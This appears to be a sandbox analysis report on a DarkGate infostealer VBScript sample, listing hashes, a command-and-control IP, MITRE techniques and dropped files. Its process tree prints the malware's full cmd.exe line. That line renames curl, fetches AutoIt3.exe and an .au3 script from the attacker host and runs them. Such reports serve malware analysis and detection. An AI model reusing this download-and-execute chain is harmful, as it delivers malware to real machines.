darkgate | 0cd158900fe34f41e89d06f73259fc8ab24e2eaefb63c915236bf590788d89da

Analysis

max time kernel
142s
max time network
154s
platform
windows10-2004_x64
resource
win10v2004-20230915-en
resource tags

arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
submitted
25/09/2023, 12:25

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
L8T.vbs
Size 12KB
Sample230925-plnpdagb38
SHA256 0cd158900fe34f41e89d06f73259fc8ab24e2eaefb63c915236bf590788d89da
MD5 929cd9747f7428c7c19685f37de11e53
SHA1 0a1aa867dfa11e41d48b8e5c3208e9a81311fab9
SHA512 8bd85e6e0ca54fdefac8a2b809f5e26c12977c6b1aa5007dc572c92ed7d24fbd21ae018902e8ca94656dc520e64e475c625c3f2a1ca5f1a3334d3046a6250f18
SSDEEP 24:cUi/AEwu12cEW8VYzDHCWkqalW9LTK9dPE40Fjd0krr1UQPxwnx:cJnw3W8VYzDHVxaM9iPP0wk31u
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

darkgate stealer

Malware Config

Extracted

Family

darkgate

http://94.228.169.143

Signatures

DarkGate
DarkGate is an infostealer written in C++.
stealer darkgate

Blocklisted process makes network request 1 IoCs

flow	pid	Process
10	3848	WScript.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1045988481-1457812719-2617974652-1000\Control Panel\International\Geo\Nation	WScript.exe

Executes dropped EXE 3 IoCs

pid	Process
4596	vjik.exe
2504	vjik.exe
4712	Autoit3.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Autoit3.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Autoit3.exe

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	10	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 3848 wrote to memory of 4620	3848	WScript.exe	86
PID 3848 wrote to memory of 4620	3848	WScript.exe	86
PID 4620 wrote to memory of 4596	4620	cmd.exe	88
PID 4620 wrote to memory of 4596	4620	cmd.exe	88
PID 4620 wrote to memory of 2504	4620	cmd.exe	90
PID 4620 wrote to memory of 2504	4620	cmd.exe	90
PID 4620 wrote to memory of 4712	4620	cmd.exe	91
PID 4620 wrote to memory of 4712	4620	cmd.exe	91
PID 4620 wrote to memory of 4712	4620	cmd.exe	91

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\L8T.vbs"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3848
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c mkdir c:\vjik & cd /d c:\vjik & copy c:\windows\system32\curl.exe vjik.exe & vjik -H "User-Agent: curl" -o Autoit3.exe http://94.228.169.143:2351 & vjik -o gojqfr.au3 http://94.228.169.143:2351/msivjikfjxb & Autoit3.exe gojqfr.au3
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4620
- - \??\c:\vjik\vjik.exe
    vjik -H "User-Agent: curl" -o Autoit3.exe http://94.228.169.143:2351
    3⤵
    - Executes dropped EXE
    PID:4596
- - \??\c:\vjik\vjik.exe
    vjik -o gojqfr.au3 http://94.228.169.143:2351/msivjikfjxb
    3⤵
    - Executes dropped EXE
    PID:2504
- - \??\c:\vjik\Autoit3.exe
    Autoit3.exe gojqfr.au3
    3⤵
    - Executes dropped EXE
    - Checks processor information in registry
    PID:4712

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Autoit3.exe

Path C:\vjik\Autoit3.exe
Size 872KB
SHA256 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
MD5 c56b5f0201a3b3de53e561fe76912bfd
SHA1 2a4062e10a5de813f5688221dbeb3f3ff33eb417
SHA512 195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c
SSDEEP 12288:6pVWeOV7GtINsegA/hMyyzlcqikvAfcN9b2MyZa31twoPTdFxgawV2M01:6T3E53Myyzl0hMf1tr7Caw8M01
MD5 SHA1 SHA512 SSDEEP

Submit Download

vjik.exe

Path C:\vjik\vjik.exe
Size 411KB
SHA256 0ba1c44d0ee5b34b45b449074cda51624150dc16b3b3c38251df6c052adba205
MD5 1c3645ebddbe2da6a32a5f9fb43a3c23
SHA1 086f74a35d5afed78ae50cf5586fafffb7845464
SHA512 ccc9534a454971db0014ba0996d837a36cda0b91db32a93d73f17097825b1ab7c973601586d06c953bc79d2863c52c7db0fb4d04e37f83581a27e1cf7284224b
SSDEEP 6144:2L6+FAKWJAdpfK92cy8u9I2enqjUifLfPxH7IzPyerjgvsA6E1P/qRSp:mVGUQ92PJjfzky0dE1P/qRSp
MD5 SHA1 SHA512 SSDEEP

Submit Download

vjik.exe

Path C:\vjik\vjik.exe
Size 411KB
SHA256 0ba1c44d0ee5b34b45b449074cda51624150dc16b3b3c38251df6c052adba205
MD5 1c3645ebddbe2da6a32a5f9fb43a3c23
SHA1 086f74a35d5afed78ae50cf5586fafffb7845464
SHA512 ccc9534a454971db0014ba0996d837a36cda0b91db32a93d73f17097825b1ab7c973601586d06c953bc79d2863c52c7db0fb4d04e37f83581a27e1cf7284224b
SSDEEP 6144:2L6+FAKWJAdpfK92cy8u9I2enqjUifLfPxH7IzPyerjgvsA6E1P/qRSp:mVGUQ92PJjfzky0dE1P/qRSp
MD5 SHA1 SHA512 SSDEEP

Submit Download

gojqfr.au3

Path \??\c:\vjik\gojqfr.au3
Size 904KB
SHA256 1e02e674196885d692c0dbb6e80cffd83e6d54bf244761d051d6b579ac83db40
MD5 811e3a12a730de3cb11adb212fb1ca48
SHA1 0bbd69103a91c5ae8fd42197e499d112e133d75c
SHA512 16b5fa80ceea66594bbffc3ff7ad5baaa2a0d75e36ea48bd9bf00db9a99aca217dac4866b7242d59aff857a27a12e606fbcb7a9485a89b0fc05a795cfbfc28f8
SSDEEP 24576:fJb89DMQifmAXxvktLPKn7D/hBCNhdNZc:a3KzCNZZc
MD5 SHA1 SHA512 SSDEEP

Submit Download

vjik.exe

Path \??\c:\vjik\vjik.exe
Size 411KB
SHA256 0ba1c44d0ee5b34b45b449074cda51624150dc16b3b3c38251df6c052adba205
MD5 1c3645ebddbe2da6a32a5f9fb43a3c23
SHA1 086f74a35d5afed78ae50cf5586fafffb7845464
SHA512 ccc9534a454971db0014ba0996d837a36cda0b91db32a93d73f17097825b1ab7c973601586d06c953bc79d2863c52c7db0fb4d04e37f83581a27e1cf7284224b
SSDEEP 6144:2L6+FAKWJAdpfK92cy8u9I2enqjUifLfPxH7IzPyerjgvsA6E1P/qRSp:mVGUQ92PJjfzky0dE1P/qRSp
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/4712-12-0x0000000000F80000-0x0000000001380000-memory.dmp

Download

memory/4712-13-0x0000000003BF0000-0x0000000003CE5000-memory.dmp

Download

memory/4712-14-0x0000000004420000-0x00000000047E3000-memory.dmp

Download

memory/4712-15-0x0000000003BF0000-0x0000000003CE5000-memory.dmp

Download

memory/4712-16-0x0000000004420000-0x00000000047E3000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads